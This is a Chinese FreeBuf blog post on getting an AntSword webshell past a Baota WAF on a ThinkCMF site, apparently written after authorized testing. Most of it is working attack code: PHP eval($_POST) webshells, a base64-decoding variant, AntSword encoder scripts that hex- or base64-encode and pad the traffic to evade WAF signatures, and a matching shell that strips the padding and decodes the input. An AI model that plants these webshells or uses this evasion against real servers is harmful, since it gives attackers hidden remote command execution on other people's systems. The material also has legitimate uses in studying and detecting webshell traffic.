freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

过WAF的小思路
2021-10-14 14:56:15

过WAF的小思路

前言

最近在学习了一波CMS漏洞,要了授权,看了几个站,有宝塔WAF。。。向WHOAMI大佬取经回来后,绕过了一个WAF。觉得是时候要认真总结一下了:)

前期的过程

网站采用的是ThinkCMF这款CMS,ThinkCMF某些版本是存在缓存Getshell这样的一个漏洞,payload我就不放了,大家要遵守相应的法律法规哦! :)

按照payload,直接打的话,访问白屏还兴奋了一下,结果一执行shell就触发宝塔WAF。。。更别说蚁剑连接了。。。

WAF会对部分函数进行了过滤,所以直接打payload肯定是不行的,因此我们需要对蚁剑的流量特征进行混淆加密

一个正常的shell如下:

<?php @eval($_POST['hack']);?>但是这样的shell特征太明显了,肯定会被拦截的,所以我们要学会骚一点

比如说<?php @eval(base_decode($_POST['test']));?>

让我们将phpinfo();base64加密后POST传参,就可以正常执行phpinfo了

但是。。。

cmd命令执行

但是蚁剑连接shell爆红了。。。

明明写进去了,也能phpinfo,但是蚁剑连接错误,为什么呢???

其实,我们可以先学一下蚁剑流量的相关知识

首先看看蚁剑的base64编码器结构:

'use strict';


/*

 @param  {String} pwd   连接密码
 @param  {Array}  data  编码器处理前的 payload 数组
@return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ##########    请在下方编写你自己的代码   ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[randomID] = Buffer.from(data['_']).toString('base64');


// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
// ##########    请在上方编写你自己的代码   ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}

解释一下:

pwd:  类型是String, 这个是 shell 的连接密码

data: 类型是 Array, 这个是要发送的 HTTP POST 数据包

Buffer.from(data['_']).toString('base64')将data['_']中的代码读取并进行base64编码,然后下面的 data[pwd] 以参数的形式传递到服务器,解码后shell代码便会执行。虽然data['_']中的代码进行过base64编码,但是data[pwd] 是作为参数传递的,所以在流量中的 data[pwd] 仍是明文传输。

而且,蚁剑在对data进行编码时会增加一定长度的随机字符,但是cmd命令无论增加多长的字符Y21K这个特征字符也始终会被识别到

那该怎么办呢???

WAF拦了蚁剑发送的其它参数时怎么操作 (qq.com)

从这篇大佬的文章好好学习了一下,其中一种方法大佬是通过遍历data的其他参数,并Hex编码了data的值。

解码器内容:

*/
'use strict';

module.exports = (pwd, data) => {
  let ret = {};
  for (let _ in data) {
    if (_ === '_') { continue };
    ret[_] = Buffer.from(data[_]).toString('hex');
  }
  ret[pwd] = Buffer.from(data['_']).toString('hex');
  return ret;
}

因为蚁剑是默认会对data的值进行一次base64加密,所以我们可以再base64加密一次并增添点data的值:)

比如像这样:

let ret = {};
for (let _ in data)
{
if (_ === '_')
{ continue; }
ret[_] = Buffer.from(data[_]).toString('base64');
ret[_] = 'andynoel1234' + ret[_];
ret[_] += 'andynoel1234';
}

同时,我们所写的shell也不能那么简单的啦,所以也得相应地稍微修改一下:

<?php
foreach($_POST as $k=>$v){$_POST[$k]=base64_decode(str_replace('andynoel1234','',$v));}
@eval($_POST['hack']);
?>

在第一次POST时进行抓包,去掉我们另外加入的data值,比如说上面的andynoel1234

然后对剩下的内容执行两次base64解码,再试一下蚁剑成功连接,就可以执行cmd命令了。

本文作者:, 转载请注明来自FreeBuf.COM

# web安全
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按热度排序

登录/注册后在FreeBuf发布内容哦

相关推荐
\
  • 0 文章数
  • 0 评论数
  • 0 关注者
文章目录
登录 / 注册后在FreeBuf发布内容哦
收入专辑